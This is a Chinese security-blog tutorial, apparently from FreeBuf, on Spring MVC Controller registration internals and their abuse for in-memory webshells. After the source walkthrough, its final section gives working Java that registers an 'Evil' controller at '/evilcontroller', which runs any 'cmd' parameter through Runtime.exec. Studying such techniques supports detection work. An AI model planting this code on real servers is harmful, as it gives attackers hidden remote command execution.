freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内存马第三弹——Controller内存马
2024-09-09 09:26:14

Spring Controller

什么是Spring Controller

Spring Controller 是 Spring MVC(Spring Model-View-Controller)框架中的一个核心组件,是用户请求和业务逻辑之间的桥梁。Spring Controller 负责处理由DispatcherServlet分发的请求,执行相应的业务逻辑, 将数据传递给视图层,以生成最终的响应。 。

在Spring MVC中,Controller 可以通过多种方式实现,最常见的方式是通过在类上添加@Controller,Spring会自动检测并注册这个类为一个Controller。然后,你可以在该类中定义多个方法来处理不同的请求,每个方法上都会使用如@RequestMapping、@GetMapping、@PostMapping等注解来指定该方法处理的请求类型、URL路径等信息。

创建用例

创建一个Spring MVC的项目

创建Controller

@Controller
public class UerController {

    @RequestMapping("/quick")
    public String quick() {
        // 业务逻辑
        System.out.println("quick running......");
        // 视图跳转
        return "/WEB-INF/pages/success.jsp";
    }
}

启tomcat并成功跳转到classpath/WEB-INF/templates/success.jsp

项目创建参考:https://blog.csdn.net/u012660464/article/details/120116683
image

Spring Controller注册流程

1、识别Controller

Spring容器扫描应用程序中的所有类,判断是否有被@Controller注解标记。如果有识别出带有@Controller的类,将其注册为Bean。

2、创建请求映射

在Controller被注册为Bean之后,Spring MVC会进一步处理这些Controller中的方法,通常是解析方法上的@RequestMapping、@GetMapping、@PostMapping等注解。这些注解指定了方法处理的请求类型(如GET、POST)、URL路径、请求参数等信息。探测到处理器方法后,还需要建立请求URL与处理器方法之间的映射关系,这个关系通常被存储在RequestMappingHandlerMapping的内部数据结构中。

3、处理请求

当DispatcherServlet接收到一个HTTP请求时,它会根据请求的URL和HTTP方法来查找HandlerMapping中注册的映射关系,找到对应的Controller方法。然后,它会使用反射调用该方法来处理请求,并接收返回的视图名称或数据。最后,DispatcherServlet会使用视图解析器(ViewResolver)来解析视图名称并渲染视图,或者直接将数据写回给客户端。

源码分析

Controller的注册

SpringMVC内部将Controller的方法抽象为多个org.springframework.web.method.HandlerMethod,将Method的@RequestMapping注解抽象成org.springframework.web.servlet.mvc.method.RequestMappingInfo。所以我们从initHandlerMethods()开始。主要是从当前上下文(ApplicationContext)获取所有bean name,然后进入processCandidateBean()根据注解修饰进一步处理。

在这之前是实例化了一个bean,然后开始初始化bean。

protected void initHandlerMethods() {
    String[] var1 = this.getCandidateBeanNames();
    //获取Spring容器中所有bean
    int var2 = var1.length;

    for(int var3 = 0; var3 < var2; ++var3) {
        //遍历所有bean,在for循环中添加映射
        String beanName = var1[var3];
        if (!beanName.startsWith("scopedTarget.")) {
            this.processCandidateBean(beanName);
        }    }

protected void processCandidateBean(String beanName) {
    Class<?> beanType = null;

    try {
        beanType = this.obtainApplicationContext().getType(beanName);
        //获取指定beanName的Bean class
    } catch (Throwable var4) {
        if (this.logger.isTraceEnabled()) {
            this.logger.trace("Could not resolve type for bean '" + beanName + "'", var4);
        }
    }

    if (beanType != null && this.isHandler(beanType)) {
        //如果类被@Controller注解或被@RequestMapping注解
         this.detectHandlerMethods(beanName);
    }

}

protected boolean isHandler(Class<?> beanType) {
    return AnnotatedElementUtils.hasAnnotation(beanType, Controller.class) || AnnotatedElementUtils.hasAnnotation(beanType, RequestMapping.class);
    //检查传入的类的class对象是否被@Controller注解标记或者被@RequestMapping注解
}

进入detectHandlerMethods(),主要是根据@RequestMapping从类中获取映射方法以及mapping,再通过registerHandlerMethod()将其注册到MappingRegistry。

protected void detectHandlerMethods(Object handler) {
    Class<?> handlerType = handler instanceof String ? this.obtainApplicationContext().getType((String)handler) : handler.getClass();
    //判断handler是否是String,如果是,通过this.obtainApplicationContext().getType((String)handler)获取这个字符串对应的类型
    if (handlerType != null) {
        Class<?> userType = ClassUtils.getUserClass(handlerType);
        //通过判断类名是否包含'$$',处理与动态代理相关的场景。确保获取被代理的原始类,而不是代理类本身。
        Map<Method, T> methods = MethodIntrospector.selectMethods(userType, (method) -> {
        //获取到bean的所有方法,然后遍历
            try {
                return this.getMappingForMethod(method, userType);
                //这里是将Lambda表达式作为第二个参数传入selectMethods,即selectMethods会在内部调用,并对method、userType赋值
            } catch (Throwable var4) {
                throw new IllegalStateException("Invalid mapping on handler class [" + userType.getName() + "]: " + method, var4);
            }
        });
        if (this.logger.isTraceEnabled()) {
            this.logger.trace(this.formatMappings(userType, methods));
        }

        methods.forEach((method, mapping) -> {
            //遍历所有方法并调用registerHandlerMethod注册
            Method invocableMethod = AopUtils.selectInvocableMethod(method, userType);
            this.registerHandlerMethod(handler, invocableMethod, mapping);
        });
    }

}

protected RequestMappingInfo getMappingForMethod(Method method, Class<?> handlerType) {
    RequestMappingInfo info = this.createRequestMappingInfo(method);
    if (info != null) {
        RequestMappingInfo typeInfo = this.createRequestMappingInfo(handlerType);
        if (typeInfo != null) {
            info = typeInfo.combine(info);
            //合并类和方法的两个mapping
        }

        String prefix = this.getPathPrefix(handlerType);
        if (prefix != null) {
            info = RequestMappingInfo.paths(new String[]{prefix}).build().combine(info);
        }
    }

    return info;
    //返回一个RequestMappingInfo类对象
}

调用AbstractHandlerMethodMapping#register方法注册控制器中的方法,以及其与URL之间的映射关系,最后所有信息都会封装到MappingRegistry中。

protected void registerHandlerMethod(Object handler, Method method, T mapping) {
    this.mappingRegistry.register(mapping, handler, method);
    //mapping表示请求映射信息;handler表示处理器对象;method表示处理器方法
}

public void register(T mapping, Object handler, Method method) {
    this.readWriteLock.writeLock().lock();
    //确保当前线程独占访问,防止并发问题
    try {
        HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method);
        //创建HandlerMethod对象,里面封装了handler和method
        this.assertUniqueMethodMapping(handlerMethod, mapping);
        //检查mapping对应的handlerMethod 是唯一的
        this.mappingLookup.put(mapping, handlerMethod);
        //存储mapping和handlerMethod的映射关系
        List<String> directUrls = this.getDirectUrls(mapping);
        Iterator var6 = directUrls.iterator();

        while(var6.hasNext()) {
            String url = (String)var6.next();
            this.urlLookup.add(url, mapping);
        }

        String name = null;
        if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) {
            name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping);
            this.addMappingName(name, handlerMethod);
        }

        CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping);
        if (corsConfig != null) {
            this.corsLookup.put(handlerMethod, corsConfig);
        }

        this.registry.put(mapping, new MappingRegistration(mapping, handlerMethod, directUrls, name));
        //将mapping、handlerMethod、directUrls、name等信息封装成MappingRegistration对象,并存储到registry
    } finally {
        this.readWriteLock.writeLock().unlock();
        //解锁
    }

}

以上就基本完成了controller包含方法的注册

Controller的请求处理

内存马分析

根据上面的流程显示,可以调用AbstractHandlerMethodMapping#register方法来注册恶意Controller

1、创建恶意类,可以通过cmd传参执行命令。

public class Evil {
    public void cmd(){
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        String command=request.getParameter("cmd");

        if (command!=null){
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }else {
            return;
        }
    }
}

2、获取RequestMappingHandlerMapping 对象。

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

3、获取参数:Object handler, Method method, T mapping

Method method = InjectedController.class.getMethod("cmd");
PatternsRequestCondition url = new PatternsRequestCondition("/evilcontroller");
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
InjectedController injectedController = new InjectedController();

4、调用register方法,这里的registerMapping最终也会调用register方法,实现Controller的注册。

requestMappingHandlerMapping.registerMapping(info, injectedController, method);

image

# 渗透测试 # web安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录